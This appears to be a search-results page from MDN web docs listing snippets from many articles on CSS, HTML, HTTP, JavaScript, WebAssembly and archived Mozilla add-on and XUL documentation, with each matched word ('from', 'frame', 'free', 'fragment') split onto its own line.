from { transform: scalex(0); } to { transform: scalex(1); } }</pre> </div> <div class="row"> <div class="cell"> <button class="play" title="play"></button> </div> <div class="cell flx"> <div class="overlay">animation: 3s ease-in 1s 2 reverse both paused slidein;</div> <div class="animation a1"></div> </div> </div> <div class="row"> <div class="cell"> <button class="pause" title="pause"></button> </div> <div class="cell flx"> <div class="overlay">animation: 3s linear 1s slidein;</div> <div class="animation a2"></div> </div> </div> <div class="row"> <div class="cell"> <button class="pause" title="pause"></button...
...pace-between; } .col { display: flex; flex: 1 auto; flex-direction: column; } .cell { box-sizing: border-box; margin: .5em; padding: 0; background-color: #fff; overflow: hidden; text-align: left; } .flx { flex: 1 0; } .note { background: #fff3d4; padding: 1em; margin: .5em; font: .8em sans-serif; text-align: left; flex: none; } .overlay { padding: .5em; } @key
frames slidein {
from { transform: scalex(0); } to { transform: scalex(1); } } .a1 { animation: 3s ease-in 1s 2 reverse both paused slidein; } .a2 { animation: 3s linear 1s slidein; } .a3 { animation: 3s slidein; } .animation { background: #3f87a6; width: 100%; height: calc(100% - 1.5em); transform-origin: left center; } window.addeventlistener('load', function () { var animation = ...
...And 4 more matches
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
the two-value syntax as you can see
from the above explanation, the display property has gained considerable new powers.
...a bfc ensures that everything inside your box stays inside it, and things
from outside the box cannot intrude into it.
...our html page creates a new formatting context (floats and margins cannot extend out
from the boundaries) and our content lays out in normal flow, using block and inline layout, unless we change the value of display to use some other formatting context.
...And 4 more matches
font-variant - CSS: Cascading Style Sheets
<numeric-figure-values>, <numeric-spacing-values>, <numeric-
fraction-values>, ordinal, slashed-zero specifies the keywords related to the font-variant-numeric longhand property.
... the possible values are: lining-nums, oldstyle-nums, proportional-nums, tabular-nums, diagonal-
fractions, stacked-
fractions, ordinal, and slashed-zero.
...es> | stylistic( <feature-value-name> ) | historical-forms | styleset( <feature-value-name># ) | character-variant( <feature-value-name># ) | swash( <feature-value-name> ) | ornaments( <feature-value-name> ) | annotation( <feature-value-name> ) | [ small-caps | all-small-caps | petite-caps | all-petite-caps | unicase | titling-caps ] | <numeric-figure-values> | <numeric-spacing-values> | <numeric-
fraction-values> | ordinal | slashed-zero | <east-asian-variant-values> | <east-asian-width-values> | ruby ]where <common-lig-values> = [ common-ligatures | no-common-ligatures ]<discretionary-lig-values> = [ discretionary-ligatures | no-discretionary-ligatures ]<historical-lig-values> = [ historical-ligatures | no-historical-ligatures ]<contextual-alt-values> = [ contextual | no-contextual ]<featur...
...And 4 more matches
HTML5 Parser - Developer guides
parsing is now done in a separate thread
from firefox’s main ui thread, improving overall browser responsiveness.
...this behavior is consistent with ie and opera, and is different
from gecko 1.x and webkit, which read it as two tags, foo and bar.
...in html5, document.write() can only be called
from a script that is created by a <script> tag that does not have the async or defer attributes set.
...And 4 more matches
The HTML autocomplete attribute - HTML: Hypertext Markup Language
the source of the suggested values is generally up to the browser; typically values come
from past values entered by the user, but they may also come
from pre-configured values.
... note: in most modern browsers, setting autocomplete to "off" will not prevent a password manager
from asking the user if they would like to save username and password information, or
from automatically filling in those values in a site's login form.
... "sex" a gender identity (such as "female", "fa'afafine", "male"), as
freeform text without newlines.
...And 4 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
can be used with or without a value: without a value, the browser will suggest a filename/extension, generated
from various sources: the content-disposition http header the final segment in the url path the media type (
from the (content-type header, the start of a data: url, or blob.type for a blob: url) defining a value suggests it as the filename.
...links are not restricted to http-based urls — they can use any url scheme supported by browsers: sections of a page with
fragment urls pieces of media files with media
fragments telephone numbers with tel: urls email addresses with mailto: urls while web browsers may not support other url schemes, web sites can with registerprotocolhandler() hreflang hints at the human language of the linked url.
... target where to display the linked url, as the name for a browsing context (a tab, window, or <i
frame>).
...And 4 more matches
<input type="file"> - HTML: Hypertext Markup Language
<input> elements with type="file" let the user choose one or more files
from their device storage.
... the string is prefixed with c:\fakepath\, to prevent malicious software
from guessing the user's file structure.
...if this attribute is missing, the user agent is
free to decide on its own what to do.
...And 4 more matches
CSP: child-src - HTTP
the http content-security-policy (csp) child-src directive defines the valid sources for web workers and nested browsing contexts loaded using elements such as <
frame> and <i
frame>.
... examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
...And 4 more matches
CSP: style-src - HTTP
examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
... 'self' refers to the origin
from which the protected document is being served, including the same url scheme and port number.
...And 4 more matches
Firefox user agent string reference - HTTP
from firefox 10 on mobile, geckotrail is the same as firefoxversion.
... mobile and tablet indicators only
from firefox 11 onwards.
... form factor gecko user agent string phone mozilla/5.0 (android 4.4; mobile; rv:41.0) gecko/41.0 firefox/41.0 tablet mozilla/5.0 (android 4.4; tablet; rv:41.0) gecko/41.0 firefox/41.0 focus for android
from version 1, focus is powered by android webview and uses the following user agent string format: mozilla/5.0 (linux; <android version> <build tag etc.>) applewebkit/<webkit rev> (khtml, like gecko) version/4.0 focus/<focusversion> chrome/<chrome rev> mobile safari/<webkit rev> tablet versions on webview mirror mobile, but do not contain a mobile token.
...And 4 more matches
Link prefetching FAQ - HTTP
from this, we receive document start & stop notifications, and we approximate idle time as the period between the last document stop and the next document start.
...if a sub
frame contains prefetching hints, prefetching will not begin until the top-most
frame and all its "child"
frames finish loading.
... will mozilla prefetch documents
from a different host?
...And 4 more matches
HTTP response status codes - HTTP
101 switching protocol this code is sent in response to an upgrade request header
from the client, and indicates the protocol the server is switching to.
... 203 non-authoritative information this response code means the returned meta-information is not exactly the same as is available
from the origin server, but is collected
from a local or a third-party copy.
... 206 partial content this response code is used when the range header is sent
from the client to request only part of a resource.
...And 4 more matches
Control flow and error handling - JavaScript
"standalone" blocks in javascript can produce completely different results
from what they would produce in c or java.
... example in the following example, if
fruittype evaluates to 'bananas', the program matches the value with case 'bananas' and executes the associated statement.
... when break is encountered, the program exits the switch and continues execution
from the statement following switch.
...And 4 more matches
Using Promises - JavaScript
chaining a common need is to execute two or more asynchronous operations back to back, where each subsequent operation starts when the previous operation succeeds, with the result
from the previous step.
... here's the magic: the then() function returns a new promise, different
from the original: const promise = dosomething(); const promise2 = promise.then(successcallback, failurecallback); or const promise2 = dosomething().then(successcallback, failurecallback); this second promise (promise2) represents the completion not just of dosomething(), but also of the successcallback or failurecallback you passed in, which can be other asynchronous functions returning a promise.
... creating a promise around an old callback api a promise can be created
from scratch using its constructor.
...And 4 more matches
Array.prototype.includes() - JavaScript
syntax arr.includes(valuetofind[,
fromindex]) parameters valuetofind the value to search for.
...
fromindex optional the position in this array at which to begin searching for valuetofind.
... the first element to be searched is found at
fromindex for positive values of
fromindex, or at arr.length +
fromindex for negative values of
fromindex (using the absolute value of
fromindex as the number of elements
from the end of the array at which to start the search).
...And 4 more matches
Promise - JavaScript
if the returned promise resolves, it is resolved with an aggregating array of the values
from the resolved promises ,in the same order as defined in the iterable of multiple promises.
... if it rejects, it is rejected with the reason
from the first promise in the iterable that was rejected.
... promise.any(iterable) takes an iterable of promise objects and, as soon as one of the promises in the iterable fulfils, returns a single promise that resolves with the value
from that promise.
...And 4 more matches
RegExp - JavaScript
use the constructor function when you know the regular expression pattern will be changing, or you don't know the pattern and obtain it
from another source, such as user input.
... flags in constructor starting with ecmascript 6, new regexp(/ab+c/, 'i') no longer throws a typeerror ("can't supply flags when constructing one regexp
from another") when the first argument is a regexp and the second flags argument is present.
... a new regexp
from the arguments is created instead.
...And 4 more matches
WeakRef - JavaScript
a weakref object lets you hold a weak reference to another object, without preventing that object
from getting garbage-collected.
...a weak reference to an object is a reference that does not prevent the object
from being reclaimed by the garbage collector.
...if that happens, you can't get the object
from a weak reference anymore.
...And 4 more matches
WebAssembly - JavaScript
webassembly.global() represents a global variable instance, accessible
from both javascript and importable/exportable across one or more webassembly.module instances.
... webassembly.instance() is a stateful, executable instance of a webassembly.module webassembly.linkerror() indicates an error during module instantiation (besides traps
from the start function).
... webassembly.instantiatestreaming() compiles and instantiates a webassembly module directly
from a streamed underlying source, returning both a module and its first instance.
...And 4 more matches
Image file type and format guide - Web media technologies
compression lossless licensing
free and open under the creative commons attribution-sharealike license (cc-by-sa) version 3.0 or later.
...these features include: support for different bit depths, indexed color, alpha channels, and different pixel orders (by default, bmp is written
from bottom-left corner toward the right and top, rather than
from the top-left corner toward the right and bottom).
... gif supports simple animation, in which following an initial full-size
frame, a series of images reflecting the parts of the image that change with each
frame are provided.
...And 4 more matches
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
to keep images
from breaking out of their containers when the container becomes narrower than the image, developers started using css like the following: img { max-width: 100%; height: auto; } this is really useful for responsive layouts, but unfortunately it causes the jank problem to return — the above css overrides the width and height attribute information, meaning that if the image has not loaded for ...
...folks
from mozilla then expanded on this thinking, working on a proposal in the css box sizing level 4 draft to define an aspect-ratio property and propose the idea of using the width and height attributes to compute layout.
... mozilla then brought the idea up in the wicg community group and discussed it further until representatives
from chrome were onboard with the idea.
...And 4 more matches
Add to Home screen - Progressive web apps (PWAs)
note: you can find out a lot more about chrome install banners
from the article web app install banners.
... to have a manifest file with the correct fields filled in, linked
from the html head.
... link the html to the manifest to finish setting up your manifest, you need to reference it
from the html of your application's home page: <link rel="manifest" href="manifest.webmanifest"> browsers that support a2hs will know where to look for your manifest once this is in place.
...And 4 more matches
Mobile first - Progressive web apps (PWAs)
this means that mobiles (often the target devices with the least available memory, bandwidth or processing power available) can be given an experience suitable for them as quickly as possible, and as
free as possible of extraneous information.
...you need to consider this, and again make sure your content/functionality is simple, legible and distraction-
free as much as possible.
...to make my simple example i created a sample app structure
from a mozilla mortar template.
...And 4 more matches
dominant-baseline - SVG: Scalable Vector Graphics
the derived baseline-table is constructed
from the defined baselines in a baseline-table in the font.
...the derived baseline-table is constructed
from the defined baselines in a baseline-table in the font.
...the derived baseline-table is constructed
from the defined baselines in a baseline-table in the font.
...And 4 more matches
target - SVG: Scalable Vector Graphics
this attribute specifies the name of the browsing context (e.g., a browser tab or an (x)html i
frame or object element) into which a document is to be opened when the link is activated: only one element is using this attribute: <a> html, body, svg { height: 100%; } text { font: 20px arial, helvetica, sans-serif; fill: blue; text-decoration: underline; } <svg viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org" target="_self"> <text x="0" y="20">open link within i
frame</text> </a> <a href="https://developer.moz...
... </a> <a href="https://developer.mozilla.org" target="_top"> <text x="0" y="100">open link in this tab or window</text> </a> </svg> usage notes value _self | _parent | _top | _blank | <xml-name> default value _self animatable yes _replace the current svg image is replaced by the linked content in the same rectangular area in the same
frame as the current svg image.
... _parent the immediate parent browsing context of the svg image is replaced by the linked content, if it exists and can be securely accessed
from this document.
...And 4 more matches
Using shadow DOM - Web Components
an important aspect of web components is encapsulation — being able to keep the markup structure, style, and behavior hidden and separate
from other code on the page so that different parts do not clash, and the code can be kept nice and clean.
...as an example, consider the following html
fragment: <!doctype html> <html> <head> <meta charset="utf-8"> <title>simple dom example</title> </head> <body> <section> <img src="dinosaur.png" alt="a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> <p>here we will add a link to the <a href="https://www.mozilla.org/">mozil...
...la homepage</a></p> </section> </body> </html> this
fragment produces the following dom structure: shadow dom allows hidden dom trees to be attached to elements in the regular dom tree — this shadow dom tree starts with a shadow root, underneath which can be attached to any elements you want, in the same way as the normal dom.
...And 4 more matches
Web Components
web components is a suite of different technologies allowing you to create reusable custom elements — with their functionality encapsulated away
from the rest of your code — and utilize them in your web apps.
... shadow dom: a set of javascript apis for attaching an encapsulated "shadow" dom tree to an element — which is rendered separately
from the main document dom — and controlling associated functionality.
... register your new custom element using the customelementregistry.define() method, passing it the element name to be defined, the class or function in which its functionality is specified, and optionally, what element it inherits
from.
...And 4 more matches
Compiling an Existing C Module to WebAssembly - WebAssembly
$ git clone https://github.com/webmproject/libwebp to start off simple, expose webpgetencoderversion()
from encode.h to javascript by writing a c file called webp.c: #include "emscripten.h" #include "src/webp/encode.h" emscripten_keepalive int version() { return webpgetencoderversion(); } this is a good simple program to test whether you can get the source code of libwebp to compile, as it doesn't require any parameters or complex data structures to invoke this function.
... get an image
from javascript into wasm getting the encoder's version number is great, but encoding an actual image would be more impressive.
...lob()); const img = await createimagebitmap(imgblob); // make canvas same size as image const canvas = document.createelement('canvas'); canvas.width = img.width; canvas.height = img.height; // draw image onto canvas const ctx = canvas.getcontext('2d'); ctx.drawimage(img, 0, 0); return ctx.getimagedata(0, 0, img.width, img.height); } now it's "only" a matter of copying the data
from javascript into wasm.
...And 4 more matches
simple-storage - Archive of obsolete content
to store a value, just assign it to a property on storage: var ss = require("sdk/simple-storage"); ss.storage.myarray = [1, 1, 2, 3, 5, 8, 13]; ss.storage.myboolean = true; ss.storage.mynull = null; ss.storage.mynumber = 3.1337; ss.storage.myobject = { a: "foo", b: { c: true }, d: null }; ss.storage.mystring = "o
frabjous day!"; you can store array, boolean, number, object, null, and string values.
...because jpm run by default uses a
fresh profile each time it runs, simple storage won't work with add-ons executed using jpm run - that is, stored data will not persist
from one run to the next.
...you may also need to include the --no-copy option to prevent firefox
from copying the profile to a temporarry directory each time it starts.
...And 3 more matches
lang/functional - Archive of obsolete content
some of these functions implement apis
from jeremy ashkenas's underscore.js and all credits go to him and his contributors.
...: function takes a variable number of functions as arguments and composes them
from right to left.
... let { memoize } = require("sdk/lang/functional"); let memoizedfn = memoize(primefactorization); memoizedfn(50); // returns [2, 5, 5], had to compute memoizedfn(100); // returns [2, 2, 5, 5], had to compute memoizedfn(50); // returns [2, 5, 5] again, but pulled
from cache function primefactorization (x) { // some tricky stuff } // we can also use a hash function to compute a different // hash value.
...And 3 more matches
Bootstrapped extensions - Archive of obsolete content
traditional extensions include overlays, wherein the application can load up xul
from the extension's package and automatically apply it on top its own ui.
...see this tutorial on converting
from an overlay extension to restartless for a practical step by step guide to migrating.
... not all chrome.manifest instructions are supported in bootstrapped add-ons, for example you still cannot register xul overlays
from a bootstrapped add-on.
...And 3 more matches
Rosetta - Archive of obsolete content
we can show, however, a possible way to start
from.
...|*| |*| november 12, 2014 |*| |*| https://developer.mozilla.org/add-ons/code_snippets/rosetta |*| https://developer.mozilla.org/user:fusionchess |*| |*| this
framework is released under the gnu public license, version 3 or later.
... |*| http://www.gnu.org/licenses/gpl-3.0.html |*| |*| syntax: |*| |*| rosetta.appendcompiler([ "text/x-csrc", "text/x-c" ], yourcompiler); |*| \*/ var rosetta = new (function () { function createscript (oscript, oxhr200) { var smimetype = oscript.getattribute("type").tolowercase(), obaton = document.createcomment(" the previous code has been automatically translated
from \"" + smimetype + "\" to \"text/ecmascript\".
...And 3 more matches
Code snippets - Archive of obsolete content
general examples and demos
from mdn articles a collection of examples and demos
from articles.
... miscellaneous miscellaneous useful code
fragments html to dom using a hidden browser element to parse html to a window's dom javascript libraries here are some javascript libraries that may come in handy.
...this snippets shows a possible way to start
from.
...And 3 more matches
Adding sidebars - Archive of obsolete content
sidebars take as much space as the user wants them to, and provide a
frame where you can add elaborate data and controls.
...if not, you can open either one
from the view > sidebar menu.
... the xul page for the sidebar can hold any content you want and it's no different
from other xul windows or overlays.
...And 3 more matches
Local Storage - Archive of obsolete content
we recommend that you at least keep an error log, so that you can request error data
from your users when you encounter problems that are hard to debug.
... note: we recommend that all exception catch blocks include some logging at the error or warn levels, and in general you should use logging
freely in order to have as much information as possible to fix bugs and know what is going on.
...adding or removing columns, or making other changes to your db structure
from one version of your extension to the next will probably cause breakage of user data in older versions.
...And 3 more matches
The Box Model - Archive of obsolete content
complex elements are created
from simpler ones through xbl, which will be covered later on.
...an hbox is oriented horizontally by default, meaning that its child nodes are displayed next to each other
from left to right.
... a vbox is oriented vertically by default, its child nodes displayed one below the other
from top to bottom.
...And 3 more matches
Creating reusable content with CSS and XBL - Archive of obsolete content
note: xbl cannot be loaded over http, so this technique is only useful for local content accessed using the file:/// scheme, or
from add-on code.
...but you must link those files
from the document as a whole.
...copy and paste the content
from here: <!doctype html public "-//w3c//dtd html 4.0//en"> <html> <head> <title>mozilla css getting started - xbl demonstration</title> <link rel="stylesheet" type="text/css" href="style6.css"> </head> <body> <h1>xbl demonstration</h1> <div id="square">click me</div> </body> </html> make a new css file, style6.css.
...And 3 more matches
List of Former Mozilla-Based Applications - Archive of obsolete content
applications that switched to another technology name description additional information angelsoft tools for startups, vcs, and angel investors switched
from xulrunner-based client to a web application autodesk maya 3d modeling tool switched off of gecko for help browser in version 8.5 blam feed reader switched to webkit in version 1.8.6 boxee media center software switched to webkit in version 1.0 epiphany browser switched
from gecko to webkit flock social browsing flock swi...
...tched
from being firefox-based to chromium-based when it released a new beta on june 16, 2010 jolicloud web operating system as of march 2010, rw/w reports jolicloud is on chrome/chrome os joost tv over internet switched
from xulrunner-based client to a web application liferea news aggregator switched to webkit in version 1.6 manyone browser browser originally mozilla-based but now i believe the have a web-based tool (need reference for that) miro (formerly democracy player) video switched
from xulrunner to webkit in version 3.0.2 moblin browser browser when moblin became meego it switched
from a custom gecko-based browser to chrome nautilus file manager hasn't used mozilla code since ver...
...sion 2.0 raptr client gaming client was a xulrunner app initially but now uses adobe air rift technologies software installation over internet no longer using mozilla technology -- need confirmation and details second life virtual world desktop client switched
from embedded mozilla browser to a plugin architecture with a qtwebkit plugin applications that are no longer being developed name description additional information aphrodite browser inactive aol client for mac internet software no longer available beonex communicator internet software last news item on site
from 2004 chameleon theme builder inactive civil netizen p2p file delivery (email attachme...
...And 3 more matches
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
introduction microsoft has removed support for netscape plug-ins
from ie 5.5 sp 2 and beyond.
...the control itself is implemented in a dll called pluginhostctrl.dll which is standalone
from the rest of the mozilla project.
...assuming you have cvs somewhere in your path, type this
from a command prompt: c:\> set cvsroot=:pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot c:\> set home=\temp c:\> cvs login (logging in to anonymous@cvs-mirror.mozilla.org) cvs password: anonymous c:\> cvs -z3 co mozilla/embedding/browser/activex/src/pluginhostctrl this fetches the source for the control into mozilla\embedding\browser\activex\src\pluginhostctrl.
...And 3 more matches
Creating a Microsummary - Archive of obsolete content
warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) a microsummary generator is a set of instructions for creating a microsummary
from the content of a page.
...then just link to the microsummaries
from within the pages themselves using a <link rel="microsummary"> element, f.e.: <head> <link rel="microsummary" href="index.php?view=microsummary"> </head> when firefox encounters a <link rel="microsummary"> element, it loads the url in the href attribute.
... install the extension (restarting firefox to complete installation) then go to the spread firefox home page, find the firefox download count (a large number at the bottom of the right-hand column), context click on the number, and select view xpath
from the context menu.
...And 3 more matches
Drag and Drop Example - Archive of obsolete content
dragging elements around here, we'll create a simple board where items
from a palette can be dragged onto the board.
...the elem attribute is retrieved
from the target of the drag event.
...the ondrop function will grab the data
from the drag session and create a new element of the appropriate type.
...And 3 more matches
Drag and Drop JavaScript Wrapper - Archive of obsolete content
note that you can only use these libraries
from within xul loaded via a chrome url.
...of course, you would want to calculate this value
from the element that was clicked on.
... conveniently, this element is available
from the event object's target property.
...And 3 more matches
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
the code has been removed
from the mozilla source tree.
... another example: (taken
from rayh.co.uk) // note, on linux, gtk has to be already initialized for this code to work mozilla moz = mozilla.getinstance(); // now we need to start an xul application, so we get an instance of the xpcom service manager nsiservicemanager servicemanager = moz.getservicemanager(); // now we need to get the @mozilla.org/toolkit/app-startup;1 service: nsiappstartup a...
...er interface to the above nsiwindowcreator windowcreator = (nsiwindowcreator)appstartup.queryinterface(nsiwindowcreator.ns_iwindowcreator_iid); // get the window watcher service nsiwindowwatcher windowwatcher = (nsiwindowwatcher)servicemanager.getservicebycontractid("@mozilla.org/embedcomp/window-watcher;1", nsiwindowwatcher.ns_iwindowwatcher_iid); // set the window creator (
from step 6) windowwatcher.setwindowcreator(windowcreator); // create the root xul window: nsidomwindow win = windowwatcher.openwindow(null, "chrome://your-app/content/window.xul", "mywindow", "chrome,resizable,centerscreen", null); // set this as the active window windowwatcher.setactivewindow(win); // hand over the application to xpcom/xul, this will block: ap...
...And 3 more matches
Error Console - Archive of obsolete content
it reports javascript-related errors and warnings, css errors and arbitrary messages
from chrome code.
... in firefox, the error console can be opened
from the tools menu or by ctrl-shift-j.
...see setting up extension development environment#development preferences for the preferences you should set if you want to see errors
from firefox and extensions in the error console.
...And 3 more matches
Microsummary XML grammar reference - Archive of obsolete content
a microsummary generator is an xml document that describes how to pull specific information
from a web page to be presented in summary form as a bookmark whose title changes based on the content of the page it targets.
...generators installed
from the web via nssidebar::addmicrosummarygenerator are identified by the remote url
from which they were downloaded, and firefox ignores the value of this attribute for them.
... <update> (optional) specifies how
frequently firefox should update the microsummaries.
...And 3 more matches
String Quick Reference - Archive of obsolete content
function declarations what: use abstract classes instead of concrete classes when passing strings across function boundaries why: using abstract classes allows the caller to choose the storage mechanism, allowing for possible sharing or more efficient handling of string
fragments.
... old way: use nsstring& and nscstring& void mymethod(const nsstring& input, nsstring& output); new way: use nsastring& and nsacstring& void mymethod(const nsastring& input, nsastring& output); substrings what: get direct references to string
fragments why: avoid making multiple copies of the string old way: use a bunch of nsautostrings, and use left(), right() and mid() to grab a segment of a string: // get an 8-character string starting at the 4th position nsautostring leftside; str.left(leftside, 12); nsautostring middle; leftside.right(middle, 8); new way: use substring() to grab a direct reference to those characters: // get an 8-character string starting at the 4th position const nsastring& middle = substring(str, 4, 8); unicode literals what: use macro tricks to make wi...
...why: avoid copying and conversion
from literal char-based strings to utf16 strings.
...And 3 more matches
Supporting per-window private browsing - Archive of obsolete content
firefox 20 introduced per-window private browsing mode, in which private user data is stored and accessed concurrently with public user data
from another window.
...you can then take action based on this value, as any data or actions originating
from this window should be considered private.
...to do this, import resource://gre/modules/privatebrowsingutils.jsm and use privatebrowsingutils.getprivacycontext
fromwindow(win), passing a window object that is related to the content in question.
...And 3 more matches
Table Layout Strategy - Archive of obsolete content
the code the layout strategies are invoked
from nstable
frame::reflow.
...on the first reflow nstable
frame::balancecolumnwidths is called.
...in_adj des_adj fix_adj pct pct_adj min_pro final the width parameter have the following meaning: #define width_not_set -1 #define num_widths 10 #define num_major_widths 3 // min, des, fix #define min_con 0 // minimum width required of the content + padding #define des_con 1 // desired width of the content + padding #define fix 2 // fixed width either
from the content or cell, col, etc.
...And 3 more matches
Running Tamarin acceptance tests - Archive of obsolete content
note: the name of the avmshell executable varies among the build systems; use the name of the avm shell produced
from the build process you used, above.
...the latest asc.jar can be downloaded
from
from ftp://ftp.mozilla.org/pub/js/tamarin...latest/asc.jar.
... also the source to asc.jar may be downloaded and rebuilt
from http://opensource.adobe.com/wiki/dis...exsdk/flex+sdk.
...And 3 more matches
The new nsString class implementation (1999) - Archive of obsolete content
however, it suffers
from a few implementation details which need to be addressed and that are the subject of this document.
... the deficiencies of the current implementation are: class based -- making it unsuitable for cross-dll usage due to
fragility little intrinsic i18n support few efficiencies, notably a lack of support for narrow (1-byte) character strings no support for external memory management policy lack of xpcom interface notable features of the new nsstrimpl implementation are: intrinsic support for 1 and 2 byte character widths provides automatic conversion between strings with different character sizes inviolate base structure eliminates class
fragility problem; safe across dll boundaries offers c-style function api to manipulate nsstrimpl offers simple memory allocator api for specialized memory policy shares binary format with bstring coming soon: a new xpcom (nsistring) interface no...
...the nsstring class is very lightweight since it gets its functionality
from the nsstrimpl static library.
...And 3 more matches
Tuning Pageload - Archive of obsolete content
nglayout.initialpaint.delay this is a preference that specifies a delay, in milliseconds, after the data
from the server has started coming in.
... content.notify.* controls the information flow
from content sink to rendering model.
... in particular, the way things work right now is that the parser and content sink construct the dom; then every so often, the content sink lets the rendering model constructor (nscss
frameconstructor) know that there are new dom nodes.
...And 3 more matches
Using Breakpoints in Venkman - Archive of obsolete content
the second type of breakpoint, the "future" breakpoint, represents a promise
from venkman to set a hard breakpoint as soon as it is possible.
...this advanced feature and other options you can see for the associated script are available
from the future breakpoint properties dialog, which you can access by right-clicking a breakpoint and selecting properties.
... once you've created a script that will be executed when the associated breakpoint is hit, you can select a number of different options
from the future breakpoint properties dialog that determine how venkman will deal with the output of the associated script.
...And 3 more matches
Creating XPI Installer Modules - Archive of obsolete content
the javascript file barley.js contains a single function, bar(), defined as follows: function bar() { alert("aphids"); } if you want to use the same gif image that is used in the barley package, it can be grabbed
from here.
... while you are developing these resources and before you have made them a package of their own, you can test the basic layout and functionality by opening barley.xul
from within mozilla by using file -> open.
...for barley, that installation script should read as follows: // initinstall(name + version, name, version); var err = initinstall("barley v", "barley", ""); logcomment("initinstall: " + err); addfile("barley grain", // displayname
from contents.rdf "barley.jar", // jar source getfolder("chrome"), // target folder ""); // target subdir // registerchrome(type, location, source) registerchrome(package | delayed_chrome, getfolder("chrome","barley.jar"), "content/"); if (err==success) performinstall(); else cancelinstall(err); note that there is no version number on barley, ...
...And 3 more matches
Unix stub installer - Archive of obsolete content
build the unix installer (debug or non-debug target) by typing "make" in the src2 directory grab a nightly build, say
from <http://ftp.mozilla.org/pub/mozilla/n...staller.tar.gz> gunzip and untar the build to some temporary location like /tmp.
... if you don't want the installer to download then grab a nightly "full" installer, say
from <ftp://ftp.mozilla.org/pub/mozilla/ni...gnu-sea.tar.gz>.
...copy the xpi directory into the src2 directory you are debugging
from.
...And 3 more matches
Install script template - Archive of obsolete content
t_file + " to " + pluginsfolder + ":" + errblock1); cancelinstall(errblock1); } } else { logcomment("cancelling current browser install due to lack of space..."); cancellinstall(); } // secondary install block, which sets up plugins and xpt in another location in addition to the current browser errblock2 = createsecondaryinstall(); // performinstall block, in which error conditions
from previous blocks are checked.
... // this block also invokes a function to write registry keys (plid) and checks return
from key writing // this block invokes re
freshplugins() to ensure that plugin and xpt are available for use immediately if (errblock1 == success) { // installation to the current browser was a success - this is the most important job of this script!
... if(errblock2 == success) { // now take care of writing plids to the win32 registry err = writeplidsolution(); if(err!=success) { logcomment("could not write win32 keys as specified: " + err); } else { logcomment("plid entries are present in the win32 registry"); } } reseterror(); err = performinstall(); if (err == success) re
freshplugins(true); // call re
freshplugins(true) if you'd like the web page which invoked the plugin to // reload.
...And 3 more matches
XUL Events - Archive of obsolete content
domnoderemoved this event is sent when a node is removed
from an element.
...returning false
from this event handler prevents the popup
from appearing.
... attribute: ondragenter dragexit this event is sent when the mouse pointer moves away
from an element during a drag.
...And 3 more matches
Menus - Archive of obsolete content
menulist a menulist is used when you wish the user to select
from a list of items.
...the first menubar encountered when parsing the xul window will be used as the main menu bar for the window, and on the macintosh, will be hidden
from the main window and transformed into a native menu bar at the top of the screen.
...when a menu command is selected or the menu is cancelled, the menupopup disappears
from the screen again.
...And 3 more matches
Multiple Queries - Archive of obsolete content
this may be used to combine the results
from several queries together, or may be used to generate different types of results when recursive iterations.
...the results
from the first query are generated first and output generated for it, followed by the results and output for the second query, and so forth for all of the queries.
...it just takes the results generated
from the first query, adds the results for the second query, adds the results for the third query, and so on.
...And 3 more matches
RDF Modifications - Archive of obsolete content
or, you might think that it creates a
fresh datasource with the new data.
...this type of statement can only cause a change when an item is being added or removed
from a container.
... since this is a new rdf triple that isn't an addition or removal
from a container, this statement can be skipped.
...And 3 more matches
Result Generation - Archive of obsolete content
the picture was generated
from the w3c's rdf validator, a good place to go to check if your rdf is valid.
...a literal's value is, for example, the name of the thing, such as '
fred'.
...let's say we want the starting point to be a
from the above example graph.
...And 3 more matches
Template and Tree Listeners - Archive of obsolete content
recall that when a template is rebuilt, all of the existing content will be removed and generated
fresh.
...var somelistener = { item: null, willrebuild : function(builder) { this.item = builder.getresourceatindex(builder.root.currentindex); }, didrebuild : function(builder) { if (this.item) { var idx = builder.getindexo
fresource(this.item) if (idx != -1) builder.root.view.selection.select(idx); } } }; tree.builder.addlistener(somelistener); this example is very simple and just saves and restores the selected index after a rebuild.
...the example above makes use of the getresourceatindex and getindexo
fresource methods.
...And 3 more matches
Adding Style Sheets - Archive of obsolete content
our find files dialog example let's modify the find files dialog so that its style comes
from a separate style file.
...a style sheet may import styles
from another stylesheet using the import directive.
... normally, you will only import one style sheet
from each xul file.
...And 3 more matches
Creating an Installer - Archive of obsolete content
extension, theme, and plug-in developers must switch away
from install.js based packages to the new packaging scheme with an install.rdf manifest.
... the jar file installers typically have the extension .xpi (pronounced zippy) to distinguish them
from other archives.
... create a web page
from which the user can download the software to be installed.
...And 3 more matches
Tree View Details - Archive of obsolete content
example of hierarchical custom view let's put this together into a simple example that takes an array and constructs a tree
from it.
...items will be added and removed
from this array when items are opened or closed.
... essentially, when a parent row is opened, the children will be taken
from the childdata map and inserted into the visibledata array.
...And 3 more matches
XUL accessibility guidelines - Archive of obsolete content
overview of web accessibility
from webaim.
...use the control attribute to bind a text label (
from a label element) to a form element.
...the difficulty here arises
from the fact that the correct label for the checkbox ("remember visited pages for the last x days.") includes three different pieces, the second of which is the current value entered into the textbox.
...And 3 more matches
timepicker - Archive of obsolete content
this value is determined
from the user's locale.
... hour type: integer the currently selected hour
from 0 to 23.
...this value is determined
from the user's locale.
...And 3 more matches
toolbarbutton - Archive of obsolete content
normal for scales, the scale's values are ordered
from left to right (for horizontal scales) or
from top to bottom (for vertical scales) for other elements, the elements are placed left to right or top to bottom in the order they appear in the xul code.
... reverse for scales, the scale's values are ordered
from right to left (for horizontal scales) or
from bottom to top (for vertical scales).
...only one button
from each group can be checked at a time.
...And 3 more matches
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
uninstalling xulrunner windows/linux
